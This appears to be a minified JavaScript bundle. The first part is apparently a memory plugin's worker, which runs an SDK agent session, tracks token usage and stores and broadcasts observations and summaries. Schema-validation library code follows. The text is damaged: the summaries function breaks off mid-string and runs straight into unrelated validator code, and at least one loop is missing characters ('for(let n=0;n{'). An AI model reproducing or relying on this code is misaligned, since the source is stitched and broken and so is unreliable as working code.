nm(O,ve,g,A,u,ie,X,I);return typeof t=="string"?O.write(JSON.stringify({type:"user",session_id:"",message:{role:"user",content:[{type:"text",text:t}]},parent_tool_use_id:null})+` -`):z.streamInput(t),z}var _l=class{dbManager;sessionManager;constructor(e,r){this.dbManager=e,this.sessionManager=r}async startSession(e,r){try{let n=this.findClaudeExecutable(),a=this.getModelId(),s=["Bash","Read","Write","Edit","Grep","Glob","WebFetch","WebSearch","Task","NotebookEdit","AskUserQuestion","TodoWrite"],i=this.createMessageGenerator(e),o=Pk({prompt:i,options:{model:a,disallowedTools:s,abortController:e.abortController,pathToClaudeCodeExecutable:n}});for await(let u of o){if(u.type==="assistant"){let l=u.message.content,d=Array.isArray(l)?l.filter(p=>p.type==="text").map(p=>p.text).join(` -`):typeof l=="string"?l:"",f=d.length,m=e.cumulativeInputTokens+e.cumulativeOutputTokens,g=u.message.usage;g&&(e.cumulativeInputTokens+=g.input_tokens||0,e.cumulativeOutputTokens+=g.output_tokens||0,g.cache_creation_input_tokens&&(e.cumulativeInputTokens+=g.cache_creation_input_tokens),F.debug("SDK","Token usage captured",{sessionId:e.sessionDbId,inputTokens:g.input_tokens,outputTokens:g.output_tokens,cacheCreation:g.cache_creation_input_tokens||0,cacheRead:g.cache_read_input_tokens||0,cumulativeInput:e.cumulativeInputTokens,cumulativeOutput:e.cumulativeOutputTokens}));let b=e.cumulativeInputTokens+e.cumulativeOutputTokens-m;if(f>0){let p=f>100?d.substring(0,100)+"...":d;F.dataOut("SDK",`Response received (${f} chars)`,{sessionId:e.sessionDbId,promptNumber:e.lastPromptNumber},p),await this.processSDKResponse(e,d,r,b)}else await this.markMessagesProcessed(e,r)}u.type==="result"&&u.subtype}let c=Date.now()-e.startTime;F.success("SDK","Agent completed",{sessionId:e.sessionDbId,duration:`${(c/1e3).toFixed(1)}s`}),this.dbManager.getSessionStore().markSessionCompleted(e.sessionDbId)}catch(n){throw n.name==="AbortError"?F.warn("SDK","Agent aborted",{sessionId:e.sessionDbId}):F.failure("SDK","Agent error",{sessionDbId:e.sessionDbId},n),n}finally{this.sessionManager.deleteSession(e.sessionDbId).catch(()=>{})}}async*createMessageGenerator(e){yield{type:"user",message:{role:"user",content:e.lastPromptNumber===1?YE(e.project,e.claudeSessionId,e.userPrompt):t1(e.userPrompt,e.lastPromptNumber,e.claudeSessionId)},session_id:e.claudeSessionId,parent_tool_use_id:null,isSynthetic:!0};for await(let r of this.sessionManager.getMessageIterator(e.sessionDbId))r.type==="observation"?(r.prompt_number!==void 0&&(e.lastPromptNumber=r.prompt_number),yield{type:"user",message:{role:"user",content:QE({id:0,tool_name:r.tool_name,tool_input:JSON.stringify(r.tool_input),tool_output:JSON.stringify(r.tool_response),created_at_epoch:Date.now(),cwd:r.cwd})},session_id:e.claudeSessionId,parent_tool_use_id:null,isSynthetic:!0}):r.type==="summarize"&&(yield{type:"user",message:{role:"user",content:e1({id:e.sessionDbId,sdk_session_id:e.sdkSessionId,project:e.project,user_prompt:e.userPrompt,last_user_message:r.last_user_message||"",last_assistant_message:r.last_assistant_message||""})},session_id:e.claudeSessionId,parent_tool_use_id:null,isSynthetic:!0})}async processSDKResponse(e,r,n,a){let s=XE(r,e.claudeSessionId);for(let o of s){let{id:c,createdAtEpoch:u}=this.dbManager.getSessionStore().storeObservation(e.claudeSessionId,e.project,o,e.lastPromptNumber,a);F.info("SDK","Observation saved",{sessionId:e.sessionDbId,obsId:c,type:o.type,title:o.title||"(untitled)",filesRead:o.files_read?.length??0,filesModified:o.files_modified?.length??0,concepts:o.concepts?.length??0});let l=Date.now(),d=o.type,f=o.title||"(untitled)";this.dbManager.getChromaSync().syncObservation(c,e.claudeSessionId,e.project,o,e.lastPromptNumber,u,a).then(()=>{let m=Date.now()-l;F.debug("CHROMA","Observation synced",{obsId:c,duration:`${m}ms`,type:d,title:f})}).catch(m=>{F.error("CHROMA","Failed to sync observation",{obsId:c,sessionId:e.sessionDbId,type:d,title:f},m)}),n&&n.sseBroadcaster&&n.sseBroadcaster.broadcast({type:"new_observation",observation:{id:c,sdk_session_id:e.sdkSessionId,session_id:e.claudeSessionId,type:o.type,title:o.title,subtitle:o.subtitle,text:o.text||null,narrative:o.narrative||null,facts:JSON.stringify(o.facts||[]),concepts:JSON.stringify(o.concepts||[]),files_read:JSON.stringify(o.files||[]),files_modified:JSON.stringify([]),project:e.project,prompt_number:e.lastPromptNumber,created_at_epoch:u}})}let i=JE(r,e.sessionDbId);if(i){let{id:o,createdAtEpoch:c}=this.dbManager.getSessionStore().storeSummary(e.claudeSessionId,e.project,i,e.lastPromptNumber,a);F.info("SDK","Summary saved",{sessionId:e.sessionDbId,summaryId:o,request:i.request||"(no request)",hasCompleted:!!i.completed,hasNextSteps:!!i.next_steps});let u=Date.now(),l=i.request||"(no request)";this.dbManager.getChromaSync().syncSummary(o,e.claudeSessionId,e.project,i,e.lastPromptNumber,c,a).then(()=>{let d=Date.now()-u;F.debug("CHROMA","Summary synced",{summaryId:o,duration:`${d}ms`,request:l})}).catch(d=>{F.error("CHROMA","Failed to sync summary",{summaryId:o,sessionId:e.sessionDbId,request:l},d)}),n&&n.sseBroadcaster&&n.sseBroadcaster.broadcast({type:"new_summary",summary:{id:o,session_id:e.claudeSessionId,request:i.request,investigated:i.investigated,learned:i.learned,completed:i.completed,next_steps:i.next_steps,notes:i.notes,project:e.project,prompt_number:e.lastPromptNumber,created_at_epoch:c}})}await this.markMessagesProcessed(e,n)}async markMessagesProcessed(e,r){let n=this.sessionManager.getPendingMessageStore();if(e.pendingProcessingIds.size>0){for(let s of e.pendingProcessingIds)n.markProcessed(s);F.debug("SDK","Messages marked as processed",{sessionId:e.sessionDbId,messageIds:Array.from(e.pendingProcessingIds),count:e.pendingProcessingIds.size}),e.pendingProcessingIds.clear();let a=n.cleanupProcessed(100);a>0&&F.debug("SDK","Cleaned up old processed messages",{deletedCount:a})}r&&typeof r.broadcastProcessingStatus=="function"&&r.broadcastProcessingStatus()}findClaudeExecutable(){let r=ft.loadFromFile(js).CLAUDE_CODE_PATH||(0,Ok.execSync)(process.platform==="win32"?"where claude":"which claude",{encoding:"utf8",windowsHide:!0}).trim().split(` -`)[0].trim();if(!r)throw new Error("Claude executable not found in PATH");return r}getModelId(){let e=Ik.default.join((0,Ck.homedir)(),".claude-mem","settings.json");return ft.loadFromFile(e).CLAUDE_MEM_MODEL}};var bl=class{dbManager;constructor(e){this.dbManager=e}stripProjectPath(e,r){let n=`/${r}/`,a=e.indexOf(n);return a!==-1?e.substring(a+n.length):e}stripProjectPaths(e,r){if(!e)return e;try{let a=JSON.parse(e).map(s=>this.stripProjectPath(s,r));return JSON.stringify(a)}catch{return e}}sanitizeObservation(e){return{...e,files_read:this.stripProjectPaths(e.files_read,e.project),files_modified:this.stripProjectPaths(e.files_modified,e.project)}}getObservations(e,r,n){let a=this.paginate("observations","id, sdk_session_id, project, type, title, subtitle, narrative, text, facts, concepts, files_read, files_modified, prompt_number, created_at, created_at_epoch",e,r,n);return{...a,items:a.items.map(s=>this.sanitizeObservation(s))}}getSummaries(e,r,n){let a=this.dbManager.getSessionStore().db,s=` + path: iss.path ? [${Fs(y)}, ...iss.path] : [${Fs(y)}] + })));`),f.write(`newResult[${Fs(y)}] = ${v}.value`)}f.write("payload.value = newResult;"),f.write("return payload;");let h=f.compile();return(y,v)=>h(d,y,v)},a,s=Ro,i=!fm.jitless,c=i&&OT.value,u=e.catchall,l;t._zod.parse=(d,f)=>{l??(l=r.value);let m=d.value;if(!s(m))return d.issues.push({expected:"object",code:"invalid_type",input:m,inst:t}),d;let g=[];if(i&&c&&f?.async===!1&&f.jitless!==!0)a||(a=n(e.shape)),d=a(d,f);else{d.value={};let v=l.shape;for(let _ of l.keys){let S=v[_],x=S._zod.run({value:m[_],issues:[]},f),E=S._zod.optin==="optional"&&S._zod.optout==="optional";x instanceof Promise?g.push(x.then(T=>E?$1(T,d,_,m):Hu(T,d,_))):E?$1(x,d,_,m):Hu(x,d,_)}}if(!u)return g.length?Promise.all(g).then(()=>d):d;let b=[],p=l.keySet,h=u._zod,y=h.def.type;for(let v of Object.keys(m)){if(p.has(v))continue;if(y==="never"){b.push(v);continue}let _=h.run({value:m[v],issues:[]},f);_ instanceof Promise?g.push(_.then(S=>Hu(S,d,v))):Hu(_,d,v)}return b.length&&d.issues.push({code:"unrecognized_keys",keys:b,input:m,inst:t}),g.length?Promise.all(g).then(()=>d):d}});function R1(t,e,r,n){for(let a of t)if(a.issues.length===0)return e.value=a.value,e;return e.issues.push({code:"invalid_union",input:e.value,inst:r,errors:t.map(a=>a.issues.map(s=>ba(s,n,_a())))}),e}var WT=ae("$ZodUnion",(t,e)=>{dt.init(t,e),lt(t._zod,"optin",()=>e.options.some(r=>r._zod.optin==="optional")?"optional":void 0),lt(t._zod,"optout",()=>e.options.some(r=>r._zod.optout==="optional")?"optional":void 0),lt(t._zod,"values",()=>{if(e.options.every(r=>r._zod.values))return new Set(e.options.flatMap(r=>Array.from(r._zod.values)))}),lt(t._zod,"pattern",()=>{if(e.options.every(r=>r._zod.pattern)){let r=e.options.map(n=>n._zod.pattern);return new RegExp(`^(${r.map(n=>hl(n.source)).join("|")})$`)}}),t._zod.parse=(r,n)=>{let a=!1,s=[];for(let i of e.options){let o=i._zod.run({value:r.value,issues:[]},n);if(o instanceof Promise)s.push(o),a=!0;else{if(o.issues.length===0)return o;s.push(o)}}return a?Promise.all(s).then(i=>R1(i,r,t,n)):R1(s,r,t,n)}}),RU=ae("$ZodDiscriminatedUnion",(t,e)=>{WT.init(t,e);let r=t._zod.parse;lt(t._zod,"propValues",()=>{let a={};for(let s of e.options){let i=s._zod.propValues;if(!i||Object.keys(i).length===0)throw new Error(`Invalid discriminated union option at index "${e.options.indexOf(s)}"`);for(let[o,c]of Object.entries(i)){a[o]||(a[o]=new Set);for(let u of c)a[o].add(u)}}return a});let n=fl(()=>{let a=e.options,s=new Map;for(let i of a){let o=i._zod.propValues[e.discriminator];if(!o||o.size===0)throw new Error(`Invalid discriminated union option at index "${e.options.indexOf(i)}"`);for(let c of o){if(s.has(c))throw new Error(`Duplicate discriminator value "${String(c)}"`);s.set(c,i)}}return s});t._zod.parse=(a,s)=>{let i=a.value;if(!Ro(i))return a.issues.push({code:"invalid_type",expected:"object",input:i,inst:t}),a;let o=n.value.get(i?.[e.discriminator]);return o?o._zod.run(a,s):e.unionFallback?r(a,s):(a.issues.push({code:"invalid_union",errors:[],note:"No matching discriminator",input:i,path:[e.discriminator],inst:t}),a)}}),PU=ae("$ZodIntersection",(t,e)=>{dt.init(t,e),t._zod.parse=(r,n)=>{let a=r.value,s=e.left._zod.run({value:a,issues:[]},n),i=e.right._zod.run({value:a,issues:[]},n);return s instanceof Promise||i instanceof Promise?Promise.all([s,i]).then(([c,u])=>P1(r,c,u)):P1(r,s,i)}});function gm(t,e){if(t===e)return{valid:!0,data:t};if(t instanceof Date&&e instanceof Date&&+t==+e)return{valid:!0,data:t};if(Po(t)&&Po(e)){let r=Object.keys(e),n=Object.keys(t).filter(s=>r.indexOf(s)!==-1),a={...t,...e};for(let s of n){let i=gm(t[s],e[s]);if(!i.valid)return{valid:!1,mergeErrorPath:[s,...i.mergeErrorPath]};a[s]=i.data}return{valid:!0,data:a}}if(Array.isArray(t)&&Array.isArray(e)){if(t.length!==e.length)return{valid:!1,mergeErrorPath:[]};let r=[];for(let n=0;n{dt.init(t,e),t._zod.parse=(r,n)=>{let a=r.value;if(!Po(a))return r.issues.push({expected:"record",code:"invalid_type",input:a,inst:t}),r;let s=[];if(e.keyType._zod.values){let i=e.keyType._zod.values;r.value={};for(let c of i)if(typeof c=="string"||typeof c=="number"||typeof c=="symbol"){let u=e.valueType._zod.run({value:a[c],issues:[]},n);u instanceof Promise?s.push(u.then(l=>{l.issues.length&&r.issues.push(...Ua(c,l.issues)),r.value[c]=l.value})):(u.issues.length&&r.issues.push(...Ua(c,u.issues)),r.value[c]=u.value)}let o;for(let c in a)i.has(c)||(o=o??[],o.push(c));o&&o.length>0&&r.issues.push({code:"unrecognized_keys",input:a,inst:t,keys:o})}else{r.value={};for(let i of Reflect.ownKeys(a)){if(i==="__proto__")continue;let o=e.keyType._zod.run({value:i,issues:[]},n);if(o instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(o.issues.length){r.issues.push({origin:"record",code:"invalid_key",issues:o.issues.map(u=>ba(u,n,_a())),input:i,path:[i],inst:t}),r.value[o.value]=o.value;continue}let c=e.valueType._zod.run({value:a[i],issues:[]},n);c instanceof Promise?s.push(c.then(u=>{u.issues.length&&r.issues.push(...Ua(i,u.issues)),r.value[o.value]=u.value})):(c.issues.length&&r.issues.push(...Ua(i,c.issues)),r.value[o.value]=c.value)}}return s.length?Promise.all(s).then(()=>r):r}}),CU=ae("$ZodEnum",(t,e)=>{dt.init(t,e);let r=$T(e.entries);t._zod.values=new Set(r),t._zod.pattern=new RegExp(`^(${r.filter(n=>CT.has(typeof n)).map(n=>typeof n=="string"?ii(n):n.toString()).join("|")})$`),t._zod.parse=(n,a)=>{let s=n.value;return t._zod.values.has(s)||n.issues.push({code:"invalid_value",values:r,input:s,inst:t}),n}}),IU=ae("$ZodLiteral",(t,e)=>{dt.init(t,e),t._zod.values=new Set(e.values),t._zod.pattern=new RegExp(`^(${e.values.map(r=>typeof r=="string"?ii(r):r?r.toString():String(r)).join("|")})$`),t._zod.parse=(r,n)=>{let a=r.value;return t._zod.values.has(a)||r.issues.push({code:"invalid_value",values:e.values,input:a,inst:t}),r}}),AU=ae("$ZodTransform",(t,e)=>{dt.init(t,e),t._zod.parse=(r,n)=>{let a=e.transform(r.value,r);if(n.async)return(a instanceof Promise?a:Promise.resolve(a)).then(i=>(r.value=i,r));if(a instanceof Promise)throw new Dn;return r.value=a,r}}),NU=ae("$ZodOptional",(t,e)=>{dt.init(t,e),t._zod.optin="optional",t._zod.optout="optional",lt(t._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,void 0]):void 0),lt(t._zod,"pattern",()=>{let r=e.innerType._zod.pattern;return r?new RegExp(`^(${hl(r.source)})?$`):void 0}),t._zod.parse=(r,n)=>e.innerType._zod.optin==="optional"?e.innerType._zod.run(r,n):r.value===void 0?r:e.innerType._zod.run(r,n)}),jU=ae("$ZodNullable",(t,e)=>{dt.init(t,e),lt(t._zod,"optin",()=>e.innerType._zod.optin),lt(t._zod,"optout",()=>e.innerType._zod.optout),lt(t._zod,"pattern",()=>{let r=e.innerType._zod.pattern;return r?new RegExp(`^(${hl(r.source)}|null)$`):void 0}),lt(t._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,null]):void 0),t._zod.parse=(r,n)=>r.value===null?r:e.innerType._zod.run(r,n)}),MU=ae("$ZodDefault",(t,e)=>{dt.init(t,e),t._zod.optin="optional",lt(t._zod,"values",()=>e.innerType._zod.values),t._zod.parse=(r,n)=>{if(r.value===void 0)return r.value=e.defaultValue,r;let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(s=>O1(s,e)):O1(a,e)}});function O1(t,e){return t.value===void 0&&(t.value=e.defaultValue),t}var DU=ae("$ZodPrefault",(t,e)=>{dt.init(t,e),t._zod.optin="optional",lt(t._zod,"values",()=>e.innerType._zod.values),t._zod.parse=(r,n)=>(r.value===void 0&&(r.value=e.defaultValue),e.innerType._zod.run(r,n))}),qU=ae("$ZodNonOptional",(t,e)=>{dt.init(t,e),lt(t._zod,"values",()=>{let r=e.innerType._zod.values;return r?new Set([...r].filter(n=>n!==void 0)):void 0}),t._zod.parse=(r,n)=>{let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(s=>C1(s,t)):C1(a,t)}});function C1(t,e){return!t.issues.length&&t.value===void 0&&t.issues.push({code:"invalid_type",expected:"nonoptional",input:t.value,inst:e}),t}var LU=ae("$ZodCatch",(t,e)=>{dt.init(t,e),t._zod.optin="optional",lt(t._zod,"optout",()=>e.innerType._zod.optout),lt(t._zod,"values",()=>e.innerType._zod.values),t._zod.parse=(r,n)=>{let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(s=>(r.value=s.value,s.issues.length&&(r.value=e.catchValue({...r,error:{issues:s.issues.map(i=>ba(i,n,_a()))},input:r.value}),r.issues=[]),r)):(r.value=a.value,a.issues.length&&(r.value=e.catchValue({...r,error:{issues:a.issues.map(s=>ba(s,n,_a()))},input:r.value}),r.issues=[]),r)}}),FU=ae("$ZodPipe",(t,e)=>{dt.init(t,e),lt(t._zod,"values",()=>e.in._zod.values),lt(t._zod,"optin",()=>e.in._zod.optin),lt(t._zod,"optout",()=>e.out._zod.optout),t._zod.parse=(r,n)=>{let a=e.in._zod.run(r,n);return a instanceof Promise?a.then(s=>I1(s,e,n)):I1(a,e,n)}});function I1(t,e,r){return zs(t)?t:e.out._zod.run({value:t.value,issues:t.issues},r)}var zU=ae("$ZodReadonly",(t,e)=>{dt.init(t,e),lt(t._zod,"propValues",()=>e.innerType._zod.propValues),lt(t._zod,"values",()=>e.innerType._zod.values),lt(t._zod,"optin",()=>e.innerType._zod.optin),lt(t._zod,"optout",()=>e.innerType._zod.optout),t._zod.parse=(r,n)=>{let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(A1):A1(a)}});function A1(t){return t.value=Object.freeze(t.value),t}var UU=ae("$ZodCustom",(t,e)=>{ir.init(t,e),dt.init(t,e),t._zod.parse=(r,n)=>r,t._zod.check=r=>{let n=r.value,a=e.fn(n);if(a instanceof Promise)return a.then(s=>N1(s,r,n,t));N1(a,r,n,t)}});function N1(t,e,r,n){if(!t){let a={code:"custom",input:r,inst:n,path:[...n._zod.def.path??[]],continue:!n._zod.def.abort};n._zod.def.params&&(a.params=n._zod.def.params),e.issues.push(NT(a))}}var HU=t=>{let e=typeof t;switch(e){case"number":return Number.isNaN(t)?"NaN":"number";case"object":{if(Array.isArray(t))return"array";if(t===null)return"null";if(Object.getPrototypeOf(t)!==Object.prototype&&t.constructor)return t.constructor.name}}return e},BU=()=>{let t={string:{unit:"characters",verb:"to have"},file:{unit:"bytes",verb:"to have"},array:{unit:"items",verb:"to have"},set:{unit:"items",verb:"to have"}};function e(n){return t[n]??null}let r={regex:"input",email:"email address",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO datetime",date:"ISO date",time:"ISO time",duration:"ISO duration",ipv4:"IPv4 address",ipv6:"IPv6 address",cidrv4:"IPv4 range",cidrv6:"IPv6 range",base64:"base64-encoded string",base64url:"base64url-encoded string",json_string:"JSON string",e164:"E.164 number",jwt:"JWT",template_literal:"input"};return n=>{switch(n.code){case"invalid_type":return`Invalid input: expected ${n.expected}, received ${HU(n.input)}`;case"invalid_value":return n.values.length===1?`Invalid input: expected ${Cm(n.values[0])}`:`Invalid option: expected one of ${mm(n.values,"|")}`;case"too_big":{let a=n.inclusive?"<=":"<",s=e(n.origin);return s?`Too big: expected ${n.origin??"value"} to have ${a}${n.maximum.toString()} ${s.unit??"elements"}`:`Too big: expected ${n.origin??"value"} to be ${a}${n.maximum.toString()}`}case"too_small":{let a=n.inclusive?">=":">",s=e(n.origin);return s?`Too small: expected ${n.origin} to have ${a}${n.minimum.toString()} ${s.unit}`:`Too small: expected ${n.origin} to be ${a}${n.minimum.toString()}`}case"invalid_format":{let a=n;return a.format==="starts_with"?`Invalid string: must start with "${a.prefix}"`:a.format==="ends_with"?`Invalid string: must end with "${a.suffix}"`:a.format==="includes"?`Invalid string: must include "${a.includes}"`:a.format==="regex"?`Invalid string: must match pattern ${a.pattern}`:`Invalid ${r[a.format]??n.format}`}case"not_multiple_of":return`Invalid number: must be a multiple of ${n.divisor}`;case"unrecognized_keys":return`Unrecognized key${n.keys.length>1?"s":""}: ${mm(n.keys,", ")}`;case"invalid_key":return`Invalid key in ${n.origin}`;case"invalid_union":return"Invalid input";case"invalid_element":return`Invalid value in ${n.origin}`;default:return"Invalid input"}}};function VU(){return{localeError:BU()}}var oJ=Symbol("ZodOutput"),cJ=Symbol("ZodInput"),ym=class{constructor(){this._map=new WeakMap,this._idmap=new Map}add(e,...r){let n=r[0];if(this._map.set(e,n),n&&typeof n=="object"&&"id"in n){if(this._idmap.has(n.id))throw new Error(`ID ${n.id} already exists in the registry`);this._idmap.set(n.id,e)}return this}remove(e){return this._map.delete(e),this}get(e){let r=e._zod.parent;if(r){let n={...this.get(r)??{}};return delete n.id,{...n,...this._map.get(e)}}return this._map.get(e)}has(e){return this._map.has(e)}};function ZU(){return new ym}var Bu=ZU();function GU(t,e){return new t({type:"string",...Re(e)})}function WU(t,e){return new t({type:"string",format:"email",check:"string_format",abort:!1,...Re(e)})}function j1(t,e){return new t({type:"string",format:"guid",check:"string_format",abort:!1,...Re(e)})}function KU(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,...Re(e)})}function XU(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v4",...Re(e)})}function JU(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v6",...Re(e)})}function YU(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v7",...Re(e)})}function QU(t,e){return new t({type:"string",format:"url",check:"string_format",abort:!1,...Re(e)})}function e3(t,e){return new t({type:"string",format:"emoji",check:"string_format",abort:!1,...Re(e)})}function t3(t,e){return new t({type:"string",format:"nanoid",check:"string_format",abort:!1,...Re(e)})}function r3(t,e){return new t({type:"string",format:"cuid",check:"string_format",abort:!1,...Re(e)})}function a3(t,e){return new t({type:"string",format:"cuid2",check:"string_format",abort:!1,...Re(e)})}function n3(t,e){return new t({type:"string",format:"ulid",check:"string_format",abort:!1,...Re(e)})}function s3(t,e){return new t({type:"string",format:"xid",check:"string_format",abort:!1,...Re(e)})}function i3(t,e){return new t({type:"string",format:"ksuid",check:"string_format",abort:!1,...Re(e)})}function o3(t,e){return new t({type:"string",format:"ipv4",check:"string_format",abort:!1,...Re(e)})}function c3(t,e){return new t({type:"string",format:"ipv6",check:"string_format",abort:!1,...Re(e)})}function u3(t,e){return new t({type:"string",format:"cidrv4",check:"string_format",abort:!1,...Re(e)})}function l3(t,e){return new t({type:"string",format:"cidrv6",check:"string_format",abort:!1,...Re(e)})}function d3(t,e){return new t({type:"string",format:"base64",check:"string_format",abort:!1,...Re(e)})}function p3(t,e){return new t({type:"string",format:"base64url",check:"string_format",abort:!1,...Re(e)})}function f3(t,e){return new t({type:"string",format:"e164",check:"string_format",abort:!1,...Re(e)})}function m3(t,e){return new t({type:"string",format:"jwt",check:"string_format",abort:!1,...Re(e)})}function h3(t,e){return new t({type:"string",format:"datetime",check:"string_format",offset:!1,local:!1,precision:null,...Re(e)})}function v3(t,e){return new t({type:"string",format:"date",check:"string_format",...Re(e)})}function g3(t,e){return new t({type:"string",format:"time",check:"string_format",precision:null,...Re(e)})}function y3(t,e){return new t({type:"string",format:"duration",check:"string_format",...Re(e)})}function _3(t,e){return new t({type:"number",checks:[],...Re(e)})}function b3(t,e){return new t({type:"number",check:"number_format",abort:!1,format:"safeint",...Re(e)})}function x3(t,e){return new t({type:"boolean",...Re(e)})}function w3(t,e){return new t({type:"null",...Re(e)})}function S3(t){return new t({type:"unknown"})}function E3(t,e){return new t({type:"never",...Re(e)})}function M1(t,e){return new BT({check:"less_than",...Re(e),value:t,inclusive:!1})}function Yf(t,e){return new BT({check:"less_than",...Re(e),value:t,inclusive:!0})}function D1(t,e){return new VT({check:"greater_than",...Re(e),value:t,inclusive:!1})}function Qf(t,e){return new VT({check:"greater_than",...Re(e),value:t,inclusive:!0})}function q1(t,e){return new Dz({check:"multiple_of",...Re(e),value:t})}function KT(t,e){return new Lz({check:"max_length",...Re(e),maximum:t})}function el(t,e){return new Fz({check:"min_length",...Re(e),minimum:t})}function XT(t,e){return new zz({check:"length_equals",...Re(e),length:t})}function T3(t,e){return new Uz({check:"string_format",format:"regex",...Re(e),pattern:t})}function k3(t){return new Hz({check:"string_format",format:"lowercase",...Re(t)})}function $3(t){return new Bz({check:"string_format",format:"uppercase",...Re(t)})}function R3(t,e){return new Vz({check:"string_format",format:"includes",...Re(e),includes:t})}function P3(t,e){return new Zz({check:"string_format",format:"starts_with",...Re(e),prefix:t})}function O3(t,e){return new Gz({check:"string_format",format:"ends_with",...Re(e),suffix:t})}function Co(t){return new Wz({check:"overwrite",tx:t})}function C3(t){return Co(e=>e.normalize(t))}function I3(){return Co(t=>t.trim())}function A3(){return Co(t=>t.toLowerCase())}function N3(){return Co(t=>t.toUpperCase())}function j3(t,e,r){return new t({type:"array",element:e,...Re(r)})}function M3(t,e,r){let n=Re(r);return n.abort??(n.abort=!0),new t({type:"custom",check:"custom",fn:e,...n})}function D3(t,e,r){return new t({type:"custom",check:"custom",fn:e,...Re(r)})}var JT={};V1(JT,{time:()=>ak,duration:()=>sk,datetime:()=>QT,date:()=>tk,ZodISOTime:()=>rk,ZodISODuration:()=>nk,ZodISODateTime:()=>YT,ZodISODate:()=>ek});var YT=ae("ZodISODateTime",(t,e)=>{oU.init(t,e),xt.init(t,e)});function QT(t){return h3(YT,t)}var ek=ae("ZodISODate",(t,e)=>{cU.init(t,e),xt.init(t,e)});function tk(t){return v3(ek,t)}var rk=ae("ZodISOTime",(t,e)=>{uU.init(t,e),xt.init(t,e)});function ak(t){return g3(rk,t)}var nk=ae("ZodISODuration",(t,e)=>{lU.init(t,e),xt.init(t,e)});function sk(t){return y3(nk,t)}var ik=(t,e)=>{MT.init(t,e),t.name="ZodError",Object.defineProperties(t,{format:{value:r=>nz(t,r)},flatten:{value:r=>az(t,r)},addIssue:{value:r=>t.issues.push(r)},addIssues:{value:r=>t.issues.push(...r)},isEmpty:{get(){return t.issues.length===0}}})},uJ=ae("ZodError",ik),yl=ae("ZodError",ik,{Parent:Error}),q3=sz(yl),L3=iz(yl),F3=qT(yl),z3=LT(yl),bt=ae("ZodType",(t,e)=>(dt.init(t,e),t.def=e,Object.defineProperty(t,"_def",{value:e}),t.check=(...r)=>t.clone({...e,checks:[...e.checks??[],...r.map(n=>typeof n=="function"?{_zod:{check:n,def:{check:"custom"},onattach:[]}}:n)]}),t.clone=(r,n)=>Ga(t,r,n),t.brand=()=>t,t.register=(r,n)=>(r.add(t,n),t),t.parse=(r,n)=>q3(t,r,n,{callee:t.parse}),t.safeParse=(r,n)=>F3(t,r,n),t.parseAsync=async(r,n)=>L3(t,r,n,{callee:t.parseAsync}),t.safeParseAsync=async(r,n)=>z3(t,r,n),t.spa=t.safeParseAsync,t.refine=(r,n)=>t.check(CH(r,n)),t.superRefine=r=>t.check(IH(r)),t.overwrite=r=>t.check(Co(r)),t.optional=()=>we(t),t.nullable=()=>z1(t),t.nullish=()=>we(z1(t)),t.nonoptional=r=>SH(t,r),t.array=()=>Ze(t),t.or=r=>vt([t,r]),t.and=r=>Am(t,r),t.transform=r=>bm(t,fk(r)),t.default=r=>bH(t,r),t.prefault=r=>wH(t,r),t.catch=r=>TH(t,r),t.pipe=r=>bm(t,r),t.readonly=()=>RH(t),t.describe=r=>{let n=t.clone();return Bu.add(n,{description:r}),n},Object.defineProperty(t,"description",{get(){return Bu.get(t)?.description},configurable:!0}),t.meta=(...r)=>{if(r.length===0)return Bu.get(t);let n=t.clone();return Bu.add(n,r[0]),n},t.isOptional=()=>t.safeParse(void 0).success,t.isNullable=()=>t.safeParse(null).success,t)),ok=ae("_ZodString",(t,e)=>{Im.init(t,e),bt.init(t,e);let r=t._zod.bag;t.format=r.format??null,t.minLength=r.minimum??null,t.maxLength=r.maximum??null,t.regex=(...n)=>t.check(T3(...n)),t.includes=(...n)=>t.check(R3(...n)),t.startsWith=(...n)=>t.check(P3(...n)),t.endsWith=(...n)=>t.check(O3(...n)),t.min=(...n)=>t.check(el(...n)),t.max=(...n)=>t.check(KT(...n)),t.length=(...n)=>t.check(XT(...n)),t.nonempty=(...n)=>t.check(el(1,...n)),t.lowercase=n=>t.check(k3(n)),t.uppercase=n=>t.check($3(n)),t.trim=()=>t.check(I3()),t.normalize=(...n)=>t.check(C3(...n)),t.toLowerCase=()=>t.check(A3()),t.toUpperCase=()=>t.check(N3())}),U3=ae("ZodString",(t,e)=>{Im.init(t,e),ok.init(t,e),t.email=r=>t.check(WU(H3,r)),t.url=r=>t.check(QU(B3,r)),t.jwt=r=>t.check(m3(sH,r)),t.emoji=r=>t.check(e3(V3,r)),t.guid=r=>t.check(j1(L1,r)),t.uuid=r=>t.check(KU(Vu,r)),t.uuidv4=r=>t.check(XU(Vu,r)),t.uuidv6=r=>t.check(JU(Vu,r)),t.uuidv7=r=>t.check(YU(Vu,r)),t.nanoid=r=>t.check(t3(Z3,r)),t.guid=r=>t.check(j1(L1,r)),t.cuid=r=>t.check(r3(G3,r)),t.cuid2=r=>t.check(a3(W3,r)),t.ulid=r=>t.check(n3(K3,r)),t.base64=r=>t.check(d3(rH,r)),t.base64url=r=>t.check(p3(aH,r)),t.xid=r=>t.check(s3(X3,r)),t.ksuid=r=>t.check(i3(J3,r)),t.ipv4=r=>t.check(o3(Y3,r)),t.ipv6=r=>t.check(c3(Q3,r)),t.cidrv4=r=>t.check(u3(eH,r)),t.cidrv6=r=>t.check(l3(tH,r)),t.e164=r=>t.check(f3(nH,r)),t.datetime=r=>t.check(QT(r)),t.date=r=>t.check(tk(r)),t.time=r=>t.check(ak(r)),t.duration=r=>t.check(sk(r))});function te(t){return GU(U3,t)}var 